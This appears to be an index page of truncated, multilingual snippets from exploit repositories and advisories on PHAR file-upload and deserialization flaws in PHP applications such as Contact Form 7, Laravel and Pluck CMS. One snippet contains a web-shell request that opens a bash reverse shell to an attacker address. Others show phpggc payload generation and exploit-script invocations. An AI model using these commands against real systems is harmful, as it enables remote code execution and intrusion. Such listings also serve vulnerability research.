CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — السحب والإفلات لرفع ملفات متعددة لنموذج الاتصال 7 Contact Form 7 الوصف: رفع ملفات عشوائي عبر إضافة drag‑and‑drop‑multiple‑file‑upload‑contact‑form‑7 ≤1.3.8.9 يسمح برفع ملفات .phar، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في Apache+modphp...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2020-29607

استغلال CVE-2020-29607 عنوان الاستغلال: Pluck CMS 4.7.13 - رفع ملف يؤدي إلى تنفيذ تعليمات برمجية عن بُعد مصادق عليه وصف CVE: وجود ثغرة في تجاوز قيود رفع الملفات في Pluck CMS قبل الإصدار 4.7.13 تسمح لمستخدم بصلاحيات مدير بالوصول إلى المضيف من خلال وظيفة "إدارة الملفات"، مما قد يؤدي إلى تنفيذ تعليم...

LKWA

LKWA लेसर नोन वेब अटैक लैब मध्यवर्ती पेंटेस्टर के लिए है जो ऑब्जेक्ट इंजेक्शन, XSSI, PHAR डिसीरियलाइज़ेशन, वेरिएबल्स वेरिएबल इत्यादि जैसे कम ज्ञात वेब हमलों का परीक्षण और अभ्यास कर सकते हैं। राइट-अप का स्वागत है। मेरा स्वयं का वॉक-थ्रू यहाँ है। स्थापना - स्थानीय बस git clone...

CVE-2024-33438

मनमानी फ़ाइल अपलोड से RCE CVE-2024-33438 CubeCart इसे चलाने के बाद, सफल शोषण के लिए अपेक्षित आउटपुट यह है: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... + Trying to log into the application... ...

PrestaShop-CVE-2018-19126

تنفيذ التعليمات البرمجية عن بُعد في الواجهة الخلفية لـ PrestaShop CVE-2018-19126 هذا هو إثبات المفهوم PoC لـ CVE-2018-19126، والذي يجمع ثغرات متعددة في الواجهة الخلفية لـ PrestaShop لإطلاق إلغاء التسلسل عبر phar لتحقيق تنفيذ التعليمات البرمجية عن بُعد. المتطلبات الأساسية: PrestaShop 1.6.x قبل...

Contact Form 7 Drag and Drop Multiple File Upload - Arbitrary File Upload

The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Pluck CMS 4.7.13 से पहले के संस्करण में प्रमाणित दूरस्थ कोड निष्पादन। एडमिन फ़ाइल प्रबंधक admin.php?action=files फ़ाइल एक्सटेंशन को मान्य नहीं करता, जिससे .phar फ़ाइलें अपलोड की जा सकती हैं जिन्हें Apache PHP के रूप में निष्पादित करता है। इस एंडपॉइंट के माध्यम से वेबशेल...

CVE-2023-3824

PHP दुर्भावनापूर्ण Phar फ़ाइल PoC CVE-2023-3824 विवरण यह प्रूफ ऑफ कॉन्सेप्ट PoC प्रदर्शित करता है कि PHP में एक दुर्भावनापूर्ण Phar फ़ाइल कैसे बनाएं और बफर ओवरफ्लो भेद्यता को कैसे ट्रिगर करें। उपयोग दुर्भावनापूर्ण Phar फ़ाइल बनाना 1. एक नई PHP फ़ाइल बनाएं जैसे, createphar.php और निम्नलिखित कोड...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

laravel-exploits

laravel-exploits استغلال لـ CVE-2021-3129 التفاصيل: https://www.ambionics.io/blog/laravel-debug-rce الاستخدام $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

CVE-2019-19576

class.upload.php = 2.0.3 मनमाना फ़ाइल अपलोड लेखक - Jinny Ramsmark प्रभावित विक्रेता - Verot.net प्रभावित उत्पाद - class.upload.php = 2.0.3 नए स्थापित Ubuntu 19.10 पर PHP7.3 और Apache/2.4.38 के साथ परीक्षण किया गया विशेष रूप से Debian/Ubuntu को कमजोर पाया गया है क्योंकि वे उपलब्ध PHP हैंडलर्स में...

CVE-2026-78839

CVE-2026-78839 الوصف ثغرة رفع ملفات عشوائية في AppNitro MachForm الإصدار 30 تسمح للمهاجمين بتنفيذ كود عشوائي عبر رفع ملف .phar مُصمم خصيصًا. يتطلب الاستغلال الناجح لهذه الثغرة شرطين عمليين. أولاً، يجب على المهاجم إما تحديد نموذج موجود تم تكوينه للسماح برفع ملفات .phar، أو امتلاك صلاحيات كافية...

magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 भेद्यता अवलोकन जब Laravel Debug मोड सक्षम होता है, तो Laravel के अंतर्निहित Ignition घटक द्वारा filegetcontents और fileputcontents फ़ंक्शंस के असुरक्षित उपयोग के कारण, हमलावर दुर्भावनापूर्ण अनुरोध भेजकर, दुर्भावनापूर्ण लॉग फ़ाइलें बनाकर, आदि तरीकों से Phar...

elFinder < 2.1.58 - Remote Code Execution

studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP. id: CVE-2021-23394 info: name: elFinder...

CVE-2024-55187

الملخص لا يتم تطهير المعلمات الإدارية الحساسة بشكل كافٍ، مما يسمح للمهاجم بتسميم مسارات الملفات الثنائية للنظام. يمكن للمهاجم بعد ذلك رفع ملفات CSV خطيرة يمكن التعامل معها كأرشيفات PHAR تحتوي على محارف شل ستُقيَّم بواسطة استدعاء exec في PHP، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. التأثير...

CVE-2023-23924

CVE-2023-23924 Dompdf, SVG पार्सिंग पर URI सत्यापन विफलता के लिए असुरक्षित · CVE-2023-23924 · GitHub सलाहकार डेटाबेस https://github.com/advisories/GHSA-3cw5-7cxw-v5qg चलाएं Terminal 1 ❯ cd www ❯ php -S 127.0.0.1:9000 -t . Terminal 2 ❯ cd src ❯ php cve202323924.php जांचें जांचें कि "whoami" कमांड ...

CVE-2021-3129_exploit

CVE-2021-3129exploit CVE-2021-3129 के लिए शोषण प्रयोगशाला सेटअप: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve उपयोग: $ git clone...

CVE-2026-45034

🧨 Exploit de désérialisation PHPSpreadsheet Phar Contournement deprohibitWrappers + Exécution de code à distance RCE sur phpoffice/phpspreadsheet Ce dépôt fournit un exploit preuve de concept PoC pour une vulnérabilité critique dans la bibliothèque PHP populaire PHPSpreadsheet. L'attaque abuse du...